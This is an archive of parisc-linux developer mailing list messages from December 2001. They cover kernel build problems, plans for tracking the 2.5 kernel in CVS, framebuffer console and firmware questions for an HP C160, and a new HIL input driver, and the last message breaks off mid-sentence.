Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09BF7482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Dec 2001 09:43:25 -0700 (MST)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel7.hp.com (Postfix) with ESMTP id B1FF21FA33
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Dec 2001 11:40:00 -0500 (EST)
Original-Received: from xatlbh3.atl.hp.com (xatlbh3.atl.hp.com [15.45.89.188])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id E94211F504
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Dec 2001 11:43:22 -0500 (EST)
Original-Received: from hp.com (wahoo.atl.hp.com [15.50.81.145]) by xatlbh3.atl.hp.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id Y2B91TZ5; Tue, 11 Dec 2001 11:43:22 -0500
X-Mailer: Mozilla 4.79 [en] (X11; I; HP-UX B.11.00 9000/778)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13293

The "make distclean" which Grant suggested below seems to have resolved
this.

Thanks Grant!


-------- Original Message --------
Subject: Re: [parisc-linux] 2.4.16-pa16 (from CVS) fails on "make
depend"
Date: Mon, 10 Dec 2001 22:38:01 -0700
From: Grant Grundler <grundler@puffin.external.hp.com>
To: Chuck Slivkoff <charles_slivkoff@hp.com>

Chuck Slivkoff wrote:
> I did a CVS update yesterday and tried to build a kernel today, using
> the same .config from my last successful build (2.4.9-pa78).

Chuck,
you went from 2.4.9 to 2.4.16...quite a jump.

> After a "make clean", "make depend" is failing with the error below.
> I've done a "make menuconfig" and things seem to be OK.
> 
> Anyone have any suggestions?

The other fellow is right, you need to run any variant of make config
(eg make oldconfig or menuconfig) in order to fix up CONFIG_XXX
options which will match the new kernel. Maybe you did that
and just forgot to mention it.

When I get paranoid, I save off the .config, make distclean, restore
the .config, make oldconfig, and continue on with the rest of the
usual steps.

hth,
grant



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 kernel and CVS -- opinions?
Date: Tue, 11 Dec 2001 09:44:56 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <E16Dq1Y-0002zm-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620829 31127 80.91.229.3 (22 Nov 2014 01:47:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 09:44:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90B05611D
	for <parisc-linux@parisc-linux.org>; Tue, 11 Dec 2001 09:44:58 -0700 (MST)
Original-Received: from ldl.fc.hp.com (unknown [15.1.50.190])
	by atlrel8.hp.com (Postfix) with ESMTP id 828211F9B7
	for <parisc-linux@parisc-linux.org>; Tue, 11 Dec 2001 11:44:57 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP id 063464679
	for <parisc-linux@parisc-linux.org>; Tue, 11 Dec 2001 09:44:57 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 16Dq1Y-0002zm-00
	for <parisc-linux@parisc-linux.org>; Tue, 11 Dec 2001 09:44:56 -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13294

It's time to start tracking the 2.5 kernel at cvs.parisc-linux.org
and there are a few different ways to do it -- I'm looking for opinions.
My favorite option at the moment is 1A.  SPEAK UP BY FRIDAY because I'll
probably make CVS changes pretty soon after that.  I'll send a
HOWTO to the mailing list after the CVS changes are made.

The first decision:

    1. Start a separate 'linux-2.5' in CVS just like 'linux' with both
       an upstream branch and a development branch.  This is more manual
       perhaps, but using 'diff' and 'patch' and having 2.4 and 2.5 trees
       checked out all the time, it can accomplish the same things as #2.

    2. Add the 2.5 upstream and development branches to CVS 'linux'.
       IMO this is the most functional and flexible -- allowing us to
       use CVS to do the myriad of interesting 'diffs'.  CVS could also
       be used to keep single versions of 2.4/2.5 pa-specific files where
       no fork is required, but that will require some developers to acquire
       additional CVS expertise so I'm not sure whether to recommend that.
       2.4-only developers would not need to change their use model.  Not
       that it's an issue, but #2 requires less CVS disk space.

The second decision:

    Date-based CVS update on the trunk is broken (bugs filed -- no
    action for a long time).  It works fine on non-trunk branches.

    A. We've lived with this defect so far, don't change anything.
       If we choose this with #2 above, the only thing on the trunk
       is 2.4 development -- 2.5 devel date-based checkout will
       work fine.  However 2.4 devel date-based checkout will work
       less often than it does now.

    B. Move everything in CVS to non-trunk branches so we can use
       date-based CVS update.  This would cause another little change
       in how we use CVS.

    Option A is even more acceptable if we do either aggressive tagging
    (for example, each -paXX release gets tagged) or keep a fairly
    large set of the daily source tarballs.  IMO tagging is the "right"
    answer, but it's pretty slow due to CVS limitation or perhaps
    we could do a daily tagging from cron so nobody'd have to wait.



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] console switching with C160 Hyperdrive option
	card
Date: 11 Dec 2001 14:07:31 -0500
Lines: 80
Approved: news@gmane.org
Message-ID: <1008097651.31094.35.camel@archimedes.localnetsolutions.com>
References: <1008039310.31094.29.camel@archimedes.localnetsolutions.com> 
	<E16DicI-0000Xi-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-bP3Pa2cuhzKT5GEOhg1R"
X-Trace: ger.gmane.org 1416620830 31129 80.91.229.3 (22 Nov 2014 01:47:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:10 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 12:07:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157])
	by dsl2.external.hp.com (Postfix) with ESMTP id CBDBA482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Dec 2001 12:07:37 -0700 (MST)
Original-Received: from archimedes.localnetsolutions.com ([199.174.105.194])
	by tisch.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 16DsFb-00021W-00
	for parisc-linux@lists.parisc-linux.org; Tue, 11 Dec 2001 14:07:35 -0500
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id fBBJ7Va07581;
	Tue, 11 Dec 2001 14:07:31 -0500
In-Reply-To: <E16DicI-0000Xi-00@linuxlab.wdf.sap-ag.de>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13295

--=-bP3Pa2cuhzKT5GEOhg1R
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Ah, Ha! Lots of sti stuff in dmesg output. All positive. Found
everything.=20

Grabbed a new kernel source from kernel.org and ran make oldconfig. I
think it uses the current running kernel for a starting point.

Looked at the .config file afterwards. No sti frame buffer configured.
Hmm.=20

More research. Current firmware is 2.1. Latest firmware from HP is 6.1.
And it "fixes" some 3rd  party graphics card problems.

As soon as I get a blank tape, I'll upgrade the firmware (scary
process!).

Did the sti framebuffer get compiled into the kernel on the 0.9.3-rc6
iso or am I missing something?

On Tue, 2001-12-11 at 03:50, Helge Deller wrote:
> On Tuesday 11 December 2001 03:55, James P. Kinney III wrote:
> > I loaded up the 0.9.3-rc6 iso. Loaded great onto a C160. I have a
> > Hyperdrive optional graphics card that my A4033A monitor is attached to=
.
> > The main Gecko GSC core graphics is not used. I can get a serial consol=
e
> > with no problem.
> >
> > How do I tell palo to use the Hyperdrive card?
> >
> > I tried telling it console=3Dfb0, but never got anything. I tried telli=
ng
> > it sti=3D1, no luck there. Tried both.
> >
> > Suggestions welcome !
>=20
> Hi James,
>=20
> sti=3D1 should be the right value if the stifb driver detects and support=
s your=20
> hyperdrive. Maybe you could post the boot-messages regarding your=20
> graphic cards (`dmesg | grep sti`) ?
>=20
> Helge
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20
--=20
James P. Kinney III   \Changing the mobile computing world/
President and COO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-bP3Pa2cuhzKT5GEOhg1R
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA8FllyYZCtw4KcbKcRArzxAKC9IKiFyyDdyUIuvOWGQHuAQtpbcACg8DsR
eew0lCMcNKZ/f+ADps8rfPM=
=Lm3q
-----END PGP SIGNATURE-----

--=-bP3Pa2cuhzKT5GEOhg1R--



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] console switching with C160 Hyperdrive option card
Date: Tue, 11 Dec 2001 14:12:29 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20011211211229.531E637E86@carmen.fc.hp.com>
References: <1008039310.31094.29.camel@archimedes.localnetsolutions.com> 
 <E16DicI-0000Xi-00@linuxlab.wdf.sap-ag.de>  <1008097651.31094.35.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620830 31133 80.91.229.3 (22 Nov 2014 01:47:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:10 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: "James P. Kinney III" <jkinney@localnetsolutions.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 14:12:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4C44482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Dec 2001 14:12:31 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 591EA1F9F1; Tue, 11 Dec 2001 16:12:30 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 531E637E86; Tue, 11 Dec 2001 14:12:29 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "James P. Kinney III" <jkinney@localnetsolutions.com>
   of "11 Dec 2001 14:07:31 EST." <1008097651.31094.35.camel@archimedes.localnetsolutions.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13296

"James P. Kinney III" writes...

> More research. Current firmware is 2.1. Latest firmware from HP is 6.1.
> And it "fixes" some 3rd  party graphics card problems.
> 
> As soon as I get a blank tape, I'll upgrade the firmware (scary
> process!).

IMHO, updating via bootp/tftp is the easiest way(assuming you have them 
setup). You can also burn the firmware image on a CDROM and boot from that. 
You can even boot it from a harddisk by putting it in the right place (using 
the right dd command).

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL driver
Date: Tue, 11 Dec 2001 17:41:31 -0500 (EST)
Lines: 61
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.33.0112111703370.22364-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620830 31136 80.91.229.3 (22 Nov 2014 01:47:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:10 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 15:41:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.com [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 3F0F2482C
	for <parisc-linux@parisc-linux.org>; Tue, 11 Dec 2001 15:41:39 -0700 (MST)
Original-Received: (qmail 30458 invoked from network); 11 Dec 2001 22:41:33 -0000
Original-Received: from mojo.calyx.com (HELO mojo) (klwptwdudgmaz18mrg7w@216.82.160.22)
  by mail.calyx.com with SMTP; 11 Dec 2001 22:41:33 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13297

I got my first HIL mouse motion today :-)

I expect to have the new HIL driver suite doing something useful
in the next several days.  Could someone contact me about how
to go about committing the work?  (CVS access would be easiest for
me.)  I'll also need help with the config menu system since it
and I have a long history of not getting along with each other
and I'd prefer not to engage in endless ml discussions about what
files should go where, so someone with dictatorial authority
should decide that for me :-)

I currently have it building outside the kernel tree entirely
as modules, so it should be a very clean addition.

In case anyone's interested, the modules I have written
and/or will soon write are as follows:

        +-- (planned) hp_sdc_beeper  +-- (planned) hil_hpux
        +-- hp_sdc_rtc               +-- (planned) hil_kbd
hp_sdc -+-- hp_sdc_mlc --- hil_mlc --+-- hil_ptr

hp_sdc allows sharing of the i8042 SDC between the other modules.
hil_mlc abstracts hil bus devices into serio's such that they
can be attached either to a tty or to a linux-input device driver.
hp_sdc_mlc emulates direct access to an MLC indirectly through the SDC,
thus if there are any systems with directly connected MLCs (either
by design or hackery) a raw_mlc module can be written for them.

hil_hpux would allow emulation of HPUX's userspace HIL access (I
seem to remember that HPUX had such an animal) for running old HPUX
closed-source binaries.

I could also use a hand from someone at HP about a couple peculiarities
I am currently forced to work around -- seems the i8042 doesn't
behave as documented in a couple of corner cases:

1) When APE is off and error reporting is 0, and you send a DHR with
timeout 0 the i8042 is not supposed to watchdog the command, but
it does anyway, flooding the machine with IRQs.

2) When APE is turned back on the i8042 reconfigures the loop even
if error reporting is turned on, which it is not supposed to do.

I imagine a few surreptitious register pokes in the right places
will smack it into line.  I also suspect that the docs I have
omit a few details that are present in docs for previous models,
but if I cannot solve the above two the workarounds aren't horribly
ugly.

I can e-mail anyone a tarball of the work-in-progress if they want to hose
up their system or just laugh at my gratuitous spinlocks :-)

Anyway, back to fun with tasklets.

Tnx,

--
Brian S. Julin




From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] telnetd on hppa: strange behaviour?
Date: Wed, 12 Dec 2001 11:19:35 +0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20011212111932.K22137@neep.com.au>
References: <1008007312.3c14f890e4d33@webmail.tiscalinet.be> <3C15005D.4884E0C5@umr.edu> <1008010546.3c150532c596f@webmail.tiscalinet.be> <3C1508B2.3CCCDCF2@umr.edu> <1008086487.3c162dd79749d@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620831 31138 80.91.229.3 (22 Nov 2014 01:47:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 20:19:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-02.iinet.net.au [203.59.3.34])
	by dsl2.external.hp.com (Postfix) with SMTP id 38D4D482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Dec 2001 20:19:48 -0700 (MST)
Original-Received: (qmail 11617 invoked by uid 666); 12 Dec 2001 03:19:44 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.217.77)
  by mail.iinet.net.au with SMTP; 12 Dec 2001 03:19:44 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id LAA20343
	for parisc-linux@lists.parisc-linux.org; Wed, 12 Dec 2001 11:19:38 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1008086487.3c162dd79749d@webmail.tiscalinet.be>; from joel.soete@freebel.net on Tue, Dec 11, 2001 at 05:01:27PM +0100
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13298

[...]
> 
> But I always forget to log stdout and sdterr of this command.
> Do you know if it exist somewhere a log of dpkg actions (like
> /var/adm/sw/sw....log of HPUX SD)?
> 
>         Joel

No, but running your 'apt-get upgrade' or 'apt-get dist-upgrade' under
the 'script' program is a good way to record a complete log.

(Logging actions are being added to apt/dpkg e.g. for auditing but it's
got a fair way to go I think.)

For more info, see your friendly apt documentation.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 kernel and CVS -- opinions?
Date: Tue, 11 Dec 2001 21:29:25 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200112120429.VAA03750@puffin.external.hp.com>
References: <bame@fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620831 31140 80.91.229.3 (22 Nov 2014 01:47:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 21:34:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F268482C
	for <parisc-linux@parisc-linux.org>; Tue, 11 Dec 2001 21:34:40 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA03750;
	Tue, 11 Dec 2001 21:29:25 -0700
In-Reply-To: Message from Paul Bame <bame@fc.hp.com> 
   of "Tue, 11 Dec 2001 09:44:56 MST." <E16Dq1Y-0002zm-00@noam.fc.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13299

Paul Bame wrote:
> It's time to start tracking the 2.5 kernel at cvs.parisc-linux.org
> and there are a few different ways to do it -- I'm looking for opinions.
> My favorite option at the moment is 1A.

I'm ok with 1A as well:
o *someday*, I hope the CVS date-based check out will get fixed.
o TAGs work and I'm ok with tag being used.
o We could TAG weekly (or monthly) and keep enough nightly
  checkout's to cover two or three tags. Or whatever we can
  afford for diskspace.


thanks!
grant



From - Thu Nov 08 21:20:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] console switching with C160 Hyperdrive option card
Date: Tue, 11 Dec 2001 21:40:46 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <200112120440.VAA03792@puffin.external.hp.com>
References: <jkinney@localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620831 31142 80.91.229.3 (22 Nov 2014 01:47:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:11 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: "James P. Kinney III" <jkinney@localnetsolutions.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 11 21:45:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27CC7482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 11 Dec 2001 21:45:37 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA03792;
	Tue, 11 Dec 2001 21:40:46 -0700
In-Reply-To: Message from "James P. Kinney III" <jkinney@localnetsolutions.com> 
   of "11 Dec 2001 14:07:31 EST." <1008097651.31094.35.camel@archimedes.localnetsolutions.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13300

"James P. Kinney III" wrote:
> Grabbed a new kernel source from kernel.org and ran make oldconfig. I
> think it uses the current running kernel for a starting point.

A) It definitelly does not. You either need to find the config file
